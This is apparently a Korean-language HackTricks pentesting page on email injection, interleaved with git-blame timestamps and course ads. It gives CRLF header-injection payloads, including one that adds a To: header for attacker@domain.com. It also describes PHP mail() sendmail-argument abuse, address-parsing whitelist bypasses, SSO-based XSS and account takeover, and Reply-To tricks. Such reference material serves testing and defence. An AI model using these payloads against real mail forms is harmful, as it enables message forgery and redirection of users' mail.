2024-07-19 16:10:20 +00:00
# Email Injections
2022-04-28 16:01:33 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2024-07-19 16:10:20 +00:00
[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections )를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 접근하세요:
2022-08-31 22:35:39 +00:00
2024-05-06 11:16:10 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP 해킹 배우기 및 연습하기: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
< summary > HackTricks 지원하기< / summary >
2023-12-31 01:25:17 +00:00
2024-07-19 16:10:20 +00:00
* [**구독 계획** ](https://github.com/sponsors/carlospolop ) 확인하기!
* **💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:10:20 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
## 전송된 이메일에 주입하기
2020-07-15 15:43:14 +00:00
2024-07-19 16:10:20 +00:00
### 발신자 인수 뒤에 Cc 및 Bcc 주입하기
2021-11-27 01:09:08 +00:00
```
2020-07-15 15:43:14 +00:00
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
2024-07-19 16:10:20 +00:00
메시지는 수신자 및 recipient1 계정으로 전송됩니다.
2020-07-15 15:43:14 +00:00
2024-07-19 16:10:20 +00:00
### Inject argument
2021-11-27 01:09:08 +00:00
```
2020-07-15 15:43:14 +00:00
From:sender@domain.com%0ATo:attacker@domain.com
```
2024-07-19 16:10:20 +00:00
메시지는 원래 수신자와 공격자 계정으로 전송됩니다.
2020-07-15 15:43:14 +00:00
2024-07-19 16:10:20 +00:00
### 주제 인자 주입
2024-02-10 21:30:13 +00:00
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
2024-07-19 16:10:20 +00:00
가짜 제목은 원래 제목에 추가되며, 경우에 따라 이를 대체합니다. 이는 메일 서비스의 동작에 따라 다릅니다.
2024-03-17 16:41:54 +00:00
### 메시지 본문 변경
2020-07-15 15:43:14 +00:00
2024-07-19 16:10:20 +00:00
두 개의 줄 바꿈을 삽입한 다음, 메시지 본문을 변경하기 위해 메시지를 작성합니다.
2021-11-27 01:09:08 +00:00
```
2024-02-10 21:30:13 +00:00
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
2020-07-15 15:43:14 +00:00
```
2024-02-10 21:30:13 +00:00
### PHP mail() 함수 악용
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ < internal:standard > function mail ] {
2024-02-10 21:30:13 +00:00
- Parameters [5] {
Parameter #0 [ < required > $to ]
Parameter #1 [ < required > $subject ]
Parameter #2 [ < required > $message ]
Parameter #3 [ < optional > $additional_headers ]
Parameter #4 [ < optional > $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2024-02-10 21:30:13 +00:00
#### 5번째 매개변수 ($additional\_parameters)
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
이 섹션은 **공격자가 이 매개변수를 제어한다고 가정할 때 이를 악용하는 방법**에 기반합니다.
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
이 매개변수는 PHP가 바이너리 sendmail을 호출하는 데 사용할 명령줄에 추가됩니다. 그러나 `escapeshellcmd($additional_parameters)` 함수로 세척됩니다.
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
이 경우 공격자는 **sendmail에 대한 추가 매개변수를 주입할 수 있습니다** .
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
#### /usr/sbin/sendmail 구현의 차이점
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
**sendmail** 인터페이스는 시스템에 설치된 **MTA 이메일 소프트웨어** (Sendmail, Postfix, Exim 등)에 의해 **제공됩니다** . 기본 기능(-t -i -f 매개변수 등)은 호환성 이유로 **같지만** , 설치된 MTA에 따라 **다른 기능과 매개변수**는 크게 다릅니다.
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
다음은 sendmail 명령/인터페이스의 다양한 매뉴얼 페이지의 몇 가지 예입니다:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
2024-07-19 16:10:20 +00:00
**sendmail** 바이너리의 출처에 따라 이를 악용하고 **파일을 유출하거나 임의의 명령을 실행하는** 다양한 옵션이 발견되었습니다. [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html** ](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html )에서 확인하세요.
2021-11-27 01:09:08 +00:00
2024-07-19 16:10:20 +00:00
## 이메일 이름에 주입
2022-12-29 12:18:46 +00:00
2024-03-17 16:41:54 +00:00
### 이메일의 무시된 부분
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
기호: ** +, -** 및 ** {}**는 드물게 태그 지정에 사용될 수 있으며 대부분의 이메일 서버에서 무시됩니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
* 예: john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
**괄호 () 사이의 주석**은 시작 또는 끝에서 무시됩니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
* 예: john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
### 화이트리스트 우회
2022-12-29 12:18:46 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../.gitbook/assets/image (812).png" alt = "https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0" > < figcaption > < / figcaption > < / figure >
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
### 인용부호
2022-12-29 12:18:46 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../.gitbook/assets/image (626).png" alt = "https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0" > < figcaption > < / figcaption > < / figure >
2022-12-29 12:18:46 +00:00
2024-05-06 11:16:10 +00:00
### IP
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
대괄호 안에 도메인 이름으로 IP를 사용할 수도 있습니다:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2024-02-10 21:30:13 +00:00
### 기타 취약점
2022-12-29 12:18:46 +00:00
2024-05-05 22:46:17 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0 ](<../.gitbook/assets/image (1131 ).png>)
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
## 제3자 SSO
2022-12-29 12:18:46 +00:00
### XSS
2024-07-19 16:10:20 +00:00
**github** 또는 **salesforce**와 같은 일부 서비스는 **XSS 페이로드가 포함된 이메일 주소를 생성할 수 있도록** 허용합니다. 이 제공자를 사용하여 다른 서비스에 로그인할 수 있고 이 서비스가 이메일을 **올바르게 세척하지 않는다면** , **XSS**를 유발할 수 있습니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
### 계정 탈취
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
**SSO 서비스**가 **주어진 이메일 주소를 확인하지 않고 계정을 생성할 수 있도록** 허용하고(예: **salesforce** ) 그 계정을 사용하여 **salesforce를 신뢰하는 다른 서비스에 로그인할 수 있다면** , 어떤 계정에도 접근할 수 있습니다.\
_salesforce는 주어진 이메일이 확인되었는지 여부를 표시하지만, 애플리케이션은 이 정보를 고려해야 합니다._
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
## 회신 주소
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
_**From: company.com**_을 사용하여 이메일을 보내고 _**Replay-To: attacker.com**_을 설정하면, 내부 주소에서 이메일이 발송되었기 때문에 **자동 회신**이 전송될 경우 **공격자**가 그 **응답**을 **받을 수 있습니다** .
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
## 하드 바운스 비율
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
AWS와 같은 특정 서비스는 **하드 바운스 비율**로 알려진 임계값을 구현하며, 일반적으로 10%로 설정됩니다. 이는 이메일 배달 서비스에 특히 중요한 지표입니다. 이 비율을 초과하면 AWS의 이메일 서비스와 같은 서비스가 중단되거나 차단될 수 있습니다.
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
**하드 바운스**는 수신자의 주소가 유효하지 않거나 존재하지 않아 발신자에게 반환된 **이메일**을 의미합니다. 이는 **이메일**이 존재하지 않는 주소로 전송되거나, 실제가 아닌 도메인으로 전송되거나, 수신자 서버가 **이메일** 수신을 거부하는 등의 다양한 이유로 발생할 수 있습니다.
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
AWS의 맥락에서 1000개의 이메일을 보내고 그 중 100개가 하드 바운스가 발생하면(유효하지 않은 주소나 도메인과 같은 이유로), 이는 10%의 하드 바운스 비율을 의미합니다. 이 비율에 도달하거나 초과하면 AWS SES(간단한 이메일 서비스)가 이메일 발송 기능을 차단하거나 중단할 수 있습니다.
2024-02-05 20:00:40 +00:00
2024-07-19 16:10:20 +00:00
중단 없는 이메일 서비스를 보장하고 발신자 평판을 유지하기 위해 낮은 하드 바운스 비율을 유지하는 것이 중요합니다. 메일링 리스트의 이메일 주소 품질을 모니터링하고 관리하는 것이 이를 달성하는 데 크게 도움이 될 수 있습니다.
2024-02-05 20:00:40 +00:00
2024-07-19 16:10:20 +00:00
자세한 정보는 AWS의 하드 바운스 및 불만 처리에 대한 공식 문서를 참조할 수 있습니다: [AWS SES Bounce Handling ](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types ).
2022-12-29 12:18:46 +00:00
2024-07-19 16:10:20 +00:00
## 참고문헌
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/ ](https://resources.infosecinstitute.com/email-injection/ )
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html ](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html )
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view ](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view )
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0 ](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0 )
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
{% hint style="success" %}
AWS 해킹을 배우고 연습하세요:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP 해킹을 배우고 연습하세요: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
< details >
2023-12-31 01:25:17 +00:00
2024-07-19 16:10:20 +00:00
< summary > HackTricks 지원하기< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:20 +00:00
* [**구독 계획** ](https://github.com/sponsors/carlospolop ) 확인하기!
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f )에 참여하거나 [**텔레그램 그룹** ](https://t.me/peass )에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
2024-03-17 16:41:54 +00:00
< / details >
2024-07-19 16:10:20 +00:00
{% endhint %}
2024-03-17 16:41:54 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-17 16:41:54 +00:00
\
2024-07-19 16:10:20 +00:00
[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections )를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
지금 액세스하세요:
2024-03-17 16:41:54 +00:00
2024-05-06 11:16:10 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=email-injections" %}